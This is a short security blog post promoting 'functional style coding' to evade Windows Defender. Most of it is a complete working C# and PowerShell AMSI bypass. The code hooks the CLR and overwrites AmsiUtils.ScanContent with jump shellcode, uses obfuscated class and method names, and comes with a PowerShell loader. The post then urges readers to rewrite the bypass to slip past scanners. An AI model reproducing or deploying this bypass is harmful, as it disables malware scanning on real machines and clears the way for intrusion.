Published
- 5 min read
Use Functional Style Coding to Evade Defender and other Code Scanners
About one year ago we proposed the use of alternative coding styles to evade code scanners. Seems we have to prove that it works - cause nobody believed us.
CLR Hooking
is a known technique to evade AMSI
- we don’t want to go into the details, it’s not too difficult, if you’re a bit into the topic.
In the code below, especially this block is a hard pain in the ass - with traditional methods of renaming vars and reordering code you can no longer fool Defender.
public static void Patch() {
MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static);
MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static);
Methods.Patch(original, replacement);
}
Original Exploit
Original CLR Hooking
technique - we use it only as example to show, that Functional Style Coding
can help with evasion. The following code is unmodified and will be detected by Defender.
For better readability we divided the c#
part from the PowerShell
part, so we get proper syntax highlighting. Yet, Part 1 belongs into Part 2
Part 1
// Part 1
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
namespace Editor {
public static class Methods {
public static void Patch() {
MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static);
MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static);
Methods.Patch(original, replacement);
}
[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
private static int Dummy(string content, string metadata) {
return 1;
}
public static void Patch(MethodInfo original, MethodInfo replacement) {
//JIT compile methods
RuntimeHelpers.PrepareMethod(original.MethodHandle);
RuntimeHelpers.PrepareMethod(replacement.MethodHandle);
//Get pointers to the functions
IntPtr originalSite = original.MethodHandle.GetFunctionPointer();
IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();
//Generate architecture specific shellcode
byte[] patch = null;
if (IntPtr.Size == 8) {
patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
for (int i = 0; i < address.Length; i++) {
patch[i + 2] = address[i];
}
} else {
patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
for (int i = 0; i < address.Length; i++) {
patch[i + 1] = address[i];
}
}
//Temporarily change permissions to RWE
uint oldprotect;
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {
throw new Win32Exception();
}
//Apply the patch
IntPtr written = IntPtr.Zero;
if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) {
throw new Win32Exception();
}
//Flush insutruction cache to make sure our new code executes
if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) {
throw new Win32Exception();
}
//Restore the original memory protection settings
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {
throw new Win32Exception();
}
}
private static string Transform(string input) {
StringBuilder builder = new StringBuilder(input.Length + 1);
foreach(char c in input) {
char m = (char)((int)c - 1);
builder.Append(m);
}
return builder.ToString();
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
private static readonly string CLASS = Methods.Transform("Tztufn/Nbobhfnfou/Bvupnbujpo/BntjVujmt");
private static readonly string METHOD = Methods.Transform("TdboDpoufou");
}
}
Part 2
# Part 2
$code = @"
... insert c# code from above ...
"@
Add-Type $code
[Editor.Methods]::Patch()
Functional Rewrite
Functional style coding is often associated with it’s ages old form and languages like Haskel
- but modern functional coding has not much to do with that, except for some base concepts. Today this style of coding is used in Progressive WebApps, JavaScript heavy sites and Node.JS
.
It uses Callbacks
, Anonymous Functions and a few more concepts. Of course, you can do Functional Coding in c#
and PowerShell
.
To keep it responsible
we don’t publish the entire rewritten evasion. Yet we tried to provide our readers with enough information to follow on this path by their own efforts.
The Patch()
method is not the only thing you need to rewrite, to evade detection! But the rest of the code can easily be rewritten with traditional methods. We only show a few more snippets - now you should get it working:
Demo
We can demonstrate these and other techniques per request in a live-session.
Conclusion
Could rewriting in “traditional” coding style have provided similar results? For sure, however:
- Traditional rewrites have been
overused
heavily and thus many ways are already known to EDR - Functional Coding provides an extra layer of
shooting in the back through the eye into the foot
- even for humans it’s sometimes hard to tell what the code does. But, modern scanners have caught up and some do “know” functional style coding. Defender isn’t one of them - If you know functional coding, rewriting exploits in that style makes sense from other perspectives as well, code reusability for example. If you know what you’re doing, you don’t have to do mental gymnastics to get the exploit working again, it rather feels like doing a code cleanup, doing your
homework
Now take this Cyberjoker
and have a great day.
CC-BY - 2024 - Βгîске∂
CC-BY means it’s free from Copyright - The Creative Commons Attributions License enables you to do what you want with the image - if it’s commercial or displayed on a website, please add my name or link to my blog.